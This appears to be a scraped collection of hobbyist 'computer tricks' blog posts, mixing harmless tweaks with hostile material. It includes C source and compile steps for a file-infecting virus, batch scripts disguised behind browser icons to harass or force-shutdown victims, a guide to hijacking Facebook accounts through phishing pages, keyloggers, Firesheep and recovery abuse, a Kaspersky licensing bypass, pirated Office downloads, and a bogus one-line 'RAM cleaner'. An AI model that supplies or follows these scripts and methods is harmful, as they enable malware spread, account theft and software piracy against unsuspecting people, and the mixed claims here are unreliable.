Increase the speed of Firefox

If you have a broadband Internet connection and use Firefox you can decrease the time each web page you visit loads by enabling pipelining. Pipelining will make Firefox load more than one request at a time for each page it loads. In other words if the page you are visiting has dozens of images it will load more than one image at a time, making the web page appear faster. Follow the below steps to enable pipelining in Firefox.

1. In the address bar type about:config and press enter.
2. In pipelining in the search box, as shown below.
3. Double-click network.http.pipelining to set the Value to true.
4. Double-click network.http.proxy.pipelining to set the Value to true.
5. Make sure network.http.pipelining.maxrequests is set to a value of more than 30.
6. Right-click in an empty portion of the about:config window and click New and then Integer. Enter nglayout.initialpaint.delay as the name of the integer and for the value make it 0. 
7.  
8. 

Google Looses Its Gravity

K

Share

Today I found Google looses its Gravity in DFS community in Orkut.I would like to share it here,

• Go to www.google.com
• Type “Google gravity” and then click “I’m feeling lucky” on Google, the entire page will lose it’s gravity!! Though you can still search on it and play with the webpage.

You can also use Google looses its Gravity directly from below link,

http://mrdoob.com/projects/chromeexperiments/google_gravity/

What to See Google Looses it Gravity Again?

Just Click over the floating Google Logo. The page will reload, showing how Google looses its gravity again.

Don’t forget to checkout other Google tricks

Simple Trick To Display Windows Version On Desktop

Most of you might have noticed Windows version on the desktop in the lower right-hand corner during beta releases of windows.Lets now see a quick trick on doing this in your windows platform.I tested thisregistry hack in Windows Xp, Vista and Windows 7 and its working fine 

Steps to show windows version on Desktop

1. Go to Start –> Run (Windows Key + R)
2. Type Regedit and hit Enter.
3. In Registry editor, navigate to this key:
HKEY_CURRENT_USER\Control Panel\Desktop
4. Select “Desktop” in left pane and search for “PaintDesktopVersion” in right pane and double-click it.


5. A dialog will pop-up, change the “Value Data” field from 0 to 1.


6. Restart the Windows you will find Windows version printed on the desktop.

Check Windows version on the desktop in the lower right-hand corner. 
Note:
If you wish to remove the watermark, just change the “Value Data” field back to 0
.

How To Block Sites On Computer Without Using Software

In this tutorial, you will learn how to block sites on computer. There are thousands of softwares are available on internet to block sites but, in this tutorial, you are gonna learn how to block sites on computer without using any software.

It is very easy to block sites on computer without any software. This trick will work on Windows XP,Windows Vista, and Windows 7. I have tried this trick on all windows and it really works. Follow the steps below to learn how to block sites on computer.

• Go to Run(Windows Key + R)
• Type C:/windows/system32/drivers/etc/hosts
• Hit enter
• Open the file as Notepad
• Type 127.0.0.1 www.yoursitedomain.com below 127.0.0.1 local host
• Save it.
• Done!

What you think about this trick? 

How To Clean Your RAM Using Notepad

It's possible in three steps :-

Many friends of me ask where can I download a software which can keep my RAM free? And I found these software are nothing but using some lines of code which can be implemented by using notepador any editor tool. So if any one does not have any software, you can use it by doing the following things which I am going to mention.

Steps to Clean Your RAM Using Notepad:

Step 1: Open Notepad
Step 2: Type FreeMem=Space(10240000000)
Step 3: Save it as “CLEANER.VBS” in any location you like.
Step 4: You can edit the code and write 512 instead of 1024 if you own a 512mb RAM or change to anything you like.
Step 5: Run it !

After this final step your RAM will be free.

Hope you enjoyed it. 
Please Pass comments on it..

How to make your PC speak what you type.

                                           
This is an amazing trick to amaze your friends.By using this trick you can make your computer to speak whatever you type.This trick is working on all microsoft operating system and does not require any programming skills.You have to follow just simple steps and your own Text to Voice software will be ready.If you show this software to any of your friends he will be certainly impressed with you .

Ok,the trick is fairly simple and requires only 3 simple steps from your side.Let’s Begin the tutorial with screenshots to Make Your Computer Speak Whatever You Type

1.Open Notepad and copy and paste the following code into it

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message
2.Now save the notepad file with the name speak.vbs at your desktop.

3.Now double click on speak.vbs type in the box whatever you want your computer to speak for you.

Its a really funny trick to impress everybody with your computer skill

Use Kaspersky internet security 2012 Lifetime without license key

HOW IT WORKS JUST  FOLLOW THESE 7 STEPS:-

• First of all disconnect your internet connection and Remove modem or Disconnect that Ethernet Cable. it is very necessary that to get lifetime Key of Kasper sky internet security 2012 .(copy this post and save it to notepad)

• Delete the existing key (If You Have)

•  Now Open Kaspersky 2012 product Then Click on (Either KIS or KAV) settings

• Un-check the “Enable protection” Check box

• Go Then “Options’ In the settings window itself , And uncheck Below Line

• a) “Enable Self-Defense”
• ”Disable External service control”

•  Goto Start>Run>Type “regedit”>

Now enter then find

HKEY_LOCAL_MACHINE>SOFTWARE>KasperskyLab>environment.

From Right list >> double click on “ProductStatus”

Then , in the “Value Data” Field . replace “Released” with “Beta” and click OK

• Now again Open Kaspersky 2012 product And Go settings Now Check Below these check boxes :-
• i)”Enable protection” (In “Protection” sub menu)
• ii)”Enable Self-Defense” (In “Options” sub menu)
• iii)”Disable External service control” (In “Options” sub menu)
• Click on “OK”

• Close the error message saying that “Protection is not running” .

Couse ot Error massage that, you have not installed any key and the product is not registered also

•  Restart your PC !

NOTE:- You must Restart your PC Other then it will not work properly

Now , after restart , Open Your Kaspersky product .

Then click On License” (Somewhat in the middle in the bottom)

Click on “Activate new license”

then click on “Activate Beta License”

then click on “Next”

From Now You will Not Blacklist you will get 30 Days Genuine Key .Just click on Activate beta license and click on .Next . That's it The kaspersky server will give u an new 30 days genuine key . So Enjoy!!!

How to edit webpage by Google chrome inspect element and have fun

In this post I am going to provide another tricky tutorial. Here I will show you an easy way to edit any webpage without any external software. You can edit the webpage  and take a fake screen shot of it for fun. Everything will look original until you click the refresh button. This is how people can show you fake result for scam. In this tutorial I will show how I can change my adsense earnings (fake). Let's begin this interesting tutorial.

Step 1,: Open Google chrome  go to any website you want to edit according to your wish. Select the text you want edit then right click on it. Then select inspect element . As you can see in the picture below, I have selected the amount of my Adsense account.

Step 2: After clicking Inspect element you will see a box has appeared below your web bar. Now the important thing is to find the sentence code you want to edit. You will find the sentence easily. Afterwards, double click on it and then simply change the value, as you can see I have changed my Adsense revenue from 0.00 to 10000.50.

Step 3: Look at the right side of the box appeared and click close button to remove the code box. Then everything will look original. Now you can show a video to convince people that it is original; but in fact it is not.

You can also try to change any other things you want  . Note this will not do any harm to the website because it won't change anything permanently. When you will click refresh button everything will be normal  . I hope you have enjoyed reading this article , please post comment here if you like it.

Hide Folder Options

This is a cool trick which you can use to keep your private folders secret from the intruding eyes other users. Suppose you a some private documents in a folder and you made it hidden but it doesn't give you assurance that your folders will be hidden from others. If after someone enable "Show hidden files and folders" from Tools->Folder Options..->View tab, he can easily discover your private folder.

But just imagine if he can't even find the "Folder Options.." in Tools in menubar?

Wicked cool.. huh??;-)
Here is the way to do it:

1. Go to start then in run type regedit

2. After opening new window go through following
HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\CurrentVersion\Policies\ Explorer

3. Double click Explorer then there is "NoFolderOptions" [without quotes] option on right panel double click it and set it to 0 [zero in number] in Hexadecimal.

4. Oh, so you can't see "NoFolderOptions" on the right panel? No problem. Right click

Go for this one:

i. run -> gpedit.msc
ii. User Configuration
iii. Administrative template
iv. Windows Component
v. Windows explorer
vi. In right panel, double click on"remove folder option menu item from tools menu"
vii. Select 'disable' -> apply
viii. ok


opps!!! what have you done with your folder options in tools menu??????

Enjoy!!!!!!!!!!

To Make Cycle a message virus in your friend's computer

open notepad and Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Open Notepad continually in your friend's computer
Type :
@ECHO off
:top
START %SystemRoot%\system32
otepad.exe
GOTO top

Save it as Anything.BAT and send it.  
Enjoy!!!!!

WATCH LIVE TV FOR FREE

Watch Live TV on Your PC For Free

Now you can watch free Tv on your pc by just using a VLC player.

Step 1 : First of all you need to have VLC player, if you don’t have vlc player kindly download and install it

Step 2 : Now open Vlc Player, and select streaming option from the media menu present in the menu bar.





Step 3 : Select network option and enter the url of the streaming channel. For example if you want to view B4u Music you need to add url
rtsp://217.146.95.166:554/playlist/ch12zqcif.3gp
in the url field and then select play option from the stream drop down menu.




Step 4 : After you click play in the above step, the channel will start streaming and you can watch your favorite channels.




Here is the List of many other channels which you will love to watch
Channel Name
Link
NDTV rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_33.sdp
NDTV Profit rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_31.sdp
Times Now rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_2.sdp
Aaj Tak rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_4.sdp
CNBC Aawaz rtsp://ss1c6.idc.mundu.tv:554/prf1/cid_34.sdp
CNBC TV 18 rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_35.sdp
Headlines Today rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_7.sdp
NDTV 24×7 rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_29.sdp
NK News rtsp://94.75.250.53:554/rtplive/rknews.sdp
RAJ News rtsp://94.75.250.220:1935/live/rajnews2.sdp
ETV rtsp://94.75.250.53/rtplive/etv2low.sdp
Studio N rtsp://94.75.250.220:1935/live/studion2
SVBC rtsp://94.75.250.220/rtplive/svbclow
Zoo Vision rtsp://stream.zoovision.com/live.sdp
B4u Music rtsp://217.146.95.166:554/playlist/ch12zqcif.3gp
iMusic rtsp://217.146.95.166:554/playlist/ch26yqcif.3gp
Zee Tamil rtsp://121.244.145.226:554/prf1/cid_54.sdp
Zee Kannad rtsp://121.244.145.226:554/prf1/cid_55.sdp
Zee Bangla rtsp://121.244.145.226:554/prf1/cid_52.sdp
Music Box rtsp://stream.the.sk/live/musicbox/musicbox-3m.3gp
Bella Tv rtsp://217.146.95.166:554/playlist/ch29yqcif.3gp
Fashion Tv rtsp://217.146.95.166:554/playlist/ch27yqcif.3gp
Adventure rtsp://video3.multicasttech.com/AFTVAdventure3GPP296.sdp
Horror rtsp://video2.multicasttech.com/AFTVHorror3GPP296.sdp
Comedy rtsp://video3.multicasttech.com/AFTVComedy3GPP96.sdp
Classic rtsp://video3.multicasttech.com/AFTVClassics3GPP296.sdp
Crime rtsp://video2.multicasttech.com/AFTVCrime3GPP296.sdp
Mystery rtsp://video2.multicasttech.com/AFTVMystery3GPP296.sdp
Clubbing Tv rtsp://217.146.95.166:554/playlist/ch21yqcif.3gp
 Enjoy !!!!

Remove virus from pendrive

If you are using pendrive for data transfer at school, college or at your office or any where
you must have come across the VIRUS creates an exe file in your usb drive with the name New Folder.exe.

WITH THIS VIRUS

Task manager is disabled.
Registry Editor is disabled.
Folder options not working.
Taking too much time for accessing pendrive.
Uses half of your computers processing power.

now you can easily remove this virus
Just download the tool from the link below.
Run this downloaded exe by double clicking on it.
Then click on “Delete Autorun.inf file”.



After that click on ” Remove virus from USB”. The virus will be removed from your pendrive.
with this tool you cal also restore your task manager, registry editor and other things which were disabled by virus
just click on “Restore Default Windows Settings”. thats it.............


click here to download

How To Chat With Friends Through Ms Dos Command Prompt

Chat With Friends Through Ms Dos Command Prompt

1) All you need is your friend’s IP Address and your Command Prompt.

2) Open Notepad and write this code as it is…..!

@echo off

:A

Cls

echo MESSENGER

set /p n=User:

set /p m=Message:

net send %n% %m%

Pause

Goto A

3) Now save this as “Messenger.Bat”.

4) Open Command Prompt.

5) Drag this file (.bat file) over to Command Prompt and press Enter.

6) You would then see something like this:

7) Now, type the IP Address of the computer you want to contact and press enter

You will see something like this:

8 ) Now all you need to do is type your message and press Enter.

Start Chatting…….!

Microsoft Office (2010) Pro Plus (Fully Activated)

Download It From Here..

Part One





Part Two






Part Three :O







Part Four





Microsoft Office 2010 Professional Plus ACTIVATED FOREVER [Exclusive]

Windows App | Year: 2010 | Platform: Works on BOTH 32-bit and 64-bit! | ISO DVD | 671 MB | ENGLISH-US

ACTIVATED FOREVER! Activation tool included!

Microsoft Office 2010 offers rich and powerful new ways to deliver your best work at the office, home, or school. Grab your audience's attention and inspire them with your ideas visually. Create results with people at the same time and stay connected to your files across the town or around the world. With Office 2010, you're in control of getting things done and delivering amazing results according to your schedule.

Includes:
* Microsoft Word 2010
* Microsoft Excel 2010
* Microsoft PowerPoint 2010
* Microsoft OneNote 2010
* Microsoft Outlook 2010 with Business Contact Manager
* Microsoft Publisher 2010
* Microsoft Access 2010
* Microsoft Communicator
* Microsoft InfoPath 2010
* Microsoft SharePoint Workspace 2010

x86 platforms require the usage of
- Windows 7
- Windows Vista SP1
- Windows XP SP3 or
- Windows Sever 2003 SP2

x64 platforms require the usage of
- Windows 7
- Windos Vista SP1 or
- Windows Server 2008

Instructions: (Simple!)
1. Burn or mount the iso
2. Run using autoplay [MUST use autoplay]
3. Activate as usual
4. DONE!




I Didnt Post Screen Shots Because It Takes much time.. ;)




Happy Hacking.. ;)

Excel Password Crackers

 
An Excel password cracker is a software tool that either removes or finds the Microsoft Excel document open password. There are also Excel password crackers that remove and recover the protect sheet and protect workbook password in Excel.
Most Excel password crackers are password recovery tools that use the brute force method.
While I work on a complete list of freeware Excel password recovery tools, try Free Word and Excel Password Recovery Wizard, likely the best option anyway.

Download Free Word and Excel Password Recovery Wizard

How to make a facebook virus

I heard from many of my friends that a virus is spreading on facebook which delete our accounts,I first thought it could have been a trojan that spread out,Then i found out that its just simple prank to shutdown your pc,Now today i will show you how to make a facebook virus to trick your friends
In this tutorial I will show you how to make a Facebook virus using simple commands on notepad. .This will make the victim think they have got a virus when they click on an icon such as Internet Explorer .
Making a fake facebook virus!

1) Open notepad
2) Type this in :

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

3) Save it as something.bat
4)Right click on Internet Explorer .bat and click Create Shortcut
5)Right click on shorcut and click Properties.
6) Click Change Icon
7.Choose Internet Explorer icon or similar , click OK , then click Apply

Now your facebook virus is almost ready


8).Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

How to Share a File With Your Facebook Friends

There may be situations when you would like to share or attach a simple file in your friends wall. The file may be a text or word document, an mp3 song, an image or may be a video.
You can add images, songs and videos in your friend’s wall by pasting the respective code snippet but in case you need to send files to your Facebook friends, Divshare will come in handy. It let’s you attach files to your friend’s wall.
Following are the steps involved to share a file or a document with any of your Facebook friends:
1. Add the Divshare application in your Facebook profile.
2. Go to this page and upload your file. Your file can be any document, video, image or any zipped archive. You have unlimited storage and you can upload files of up to 200 mb in size.

3. After the file upload is complete, add the friends with whom you want to share the files. You can share the uploaded file with multiple friends and update your Facebook status message with the upload.

4. Hit the “Publish it” button and you are done. Your chosen friends will see a notification that you have shared a file with them.
There is another similar Facebook application that does the same job – Flash Attach (with a flash interface)
Sharing Files on Facebook with FilesAnywhere
If you have a Filesanywhere account, you can use it to upload and share file with your Facebook friends. Just add the Filesanywhere Facebook application and you can upload files, images, videos ,documents etc in your Facebook profile. Your friends can send you files and download files from your Facebook profile. Comes with a 1 GB free storage account which would be enough for your needs. You can also play songs as your Facebook status update using CloudApp.

How to hack facebook account

his is the question which i read daily in my inbox. All the people want to know how to hack Facebook account and i always suggest them to read hacking tutorials on my blog. But the main problem is that i post many hacking tricks but no one is specially for Facebook hacking. Many of the hacking tricks i posted are used in hacking facebook accounts. But the problem is to think as this way. If you want to be a good hacker you should know how to implement all those things for you purpose. So now i am going to describe how to hack someone's facebook account.


This post uses some manual methods to hack Facebook account.


Read: How to hack Facebook fan page


There are many ways to hack facebook account.

f

1: phishing:- Phishing or fake page hacking is the most widely used hacking trick for any type of accounts of website. It can also be implemented as in this case too.  Read my previous post on phishing to learn it and download facebook phishing page from below. That post was specially for Gmail. The same process will be applied in the case of faceook too. you only need to save facebook login page to your system and make changes to form element of action as per in my that post. 
you can also use Tabnapping . This is also a type of phishing but it will make it easier to send your fake page to the victim. Download Tabnapping script from this link: TabNapping Script . Read more about Tabnapping here 


IMPORTANT: sending fake page in case of simple case is not so easy. I am suggesting you an effective way of doing that. You get facebook notification emails. Use the format of that email address but replacing the URL with your fake URL ;)


Download facebook phishing page here:
Download


2: Keylogger:- Keylogger is another useful tool to hack someone's facebook account. If you do not know about keyloggers read here . This is the best way to hack Facebok account.download some keyloggers from this link. Kelogger download . Now it's up to you.. how you are using this tool. If you have physical access to victims system, you can manually install this tool and it will effectively work.
Note: If you do not know much about computer and programming, keylogger is the best and easiest way for you. Download the best keylogger from the link below and read its tutorial.

Download WinSpy and read How to hack facebook with keylogger


NOTE: Never search for the free or crack. Because that will not work. Some hackers also hosted it for free with Trojan. When you will use those free hosted on some file hosting server, you are taking risk with your facebook account which can be hacked with that trojan. So download only with the official link given above.
 
3: Firesheep:- If your victim uses unsecure wireless network then you can hack him easily by using mozilla firefox and a simple firefox plugin. Firesheep. read this post to know about firesheep and dowload it from that post. Firesheep . For college campus, this tool is easiest to use and best to hack. use this tool to gain access to any of the person using the same unsecure wireless network.


4: Hack Facebook's primary email address:- Hacking someone's email account also need above described methods (phishing, keylogger, firesheep) but you can also hack it by using forgot password and then by guessing his security question. Many times people use simple security questions which are easy to guess. If you know him/her personally, you can easily guess.


5: Facebook's can't access account option:- there is an recovery option in Facebook account. You can mention that your primary email address is also hacked. Then they will ask you many questions regarding that account. as some name of friends, account holder's some personal information etc. If you know about victim well, you can be able to answer all those question. then facebook will ask you for new email address for password recovery. Give any email address which you can access. 


Facebook also has a recovery option with four of your friends in case of lost access to recovery email and recovery number. So you can use four of his/her friends to recover his account on any new email id specified by you. For this you can either use some of existing friends on that profile or can use four fake profiles and add that person.


These are some ways of hacking Facebook account. There may be more but this time only these are in my mind. :P
if i will remember any other method i will update this post..


if you like this post please do comment  :)

HOW TO MAKE FOLDER PASSWORD PROTECTED AND INVISIBLE

Well here is a way to do that. In this section I will show you how to make a password protected folder in Windows XP, Vista without using any additional software. Following is the step by step procedure to create a password protected folder.

STEP-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance you name it as HME.

STEP-2:  Now place all the important files, documents or any other folder in this folder that you want to password protect.

STEP-3: Now Right-click on this folder (HME) and select the option Send To -> Compressed (zipped) Folder.

STEP-4: Now a new compressed zipped folder gets created next to folder (HME) with the same name.

STEP-5: Double-click on this compressed zipped folder and you should see your original folder (HME) there.

STEP-6: Now go to the File menu and select the option Add a password. ie: File -> Add a password

You will get small pop up window here. You can set your desired password. Once the password is set, It will ask for the password every time it is opened. Thus you have now created the password protected folder.

HOW TO MAKE IT INVISIBLE

STEP-1: Right-click on this password protected folder and click on Properties.

STEP-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible.

STEP-3: In order to unhide this folder go to

My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options

• Do not show hidden files and folders
• Show hidden files and folders

Here you select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat STEP-1 through STEP-3 and select the first option and click OK.

Now the folder becomes invisible once again.

How to Lock the folders !!

 
You can lock and unlock your folder with this simple trick !
Procedure :
1. Make a folder on the desktop and name it as “folder”
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the ‘save as’ name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the ‘save as’ name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !

Forgot Windows XP Password ?

Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it. If you somehow manage to login as an Administrator then you can change the password without knowing it.

Here’s the Step-By-Step instructions

1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane, such as Administrator, Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message, Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”. The password is changed. That’s It!

A Virus Program to Disable USB Ports

 
In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

I hope you like this post. Please pass your comments.

How to Create a Computer Virus?

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

 

HOW TO TEST:

 

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE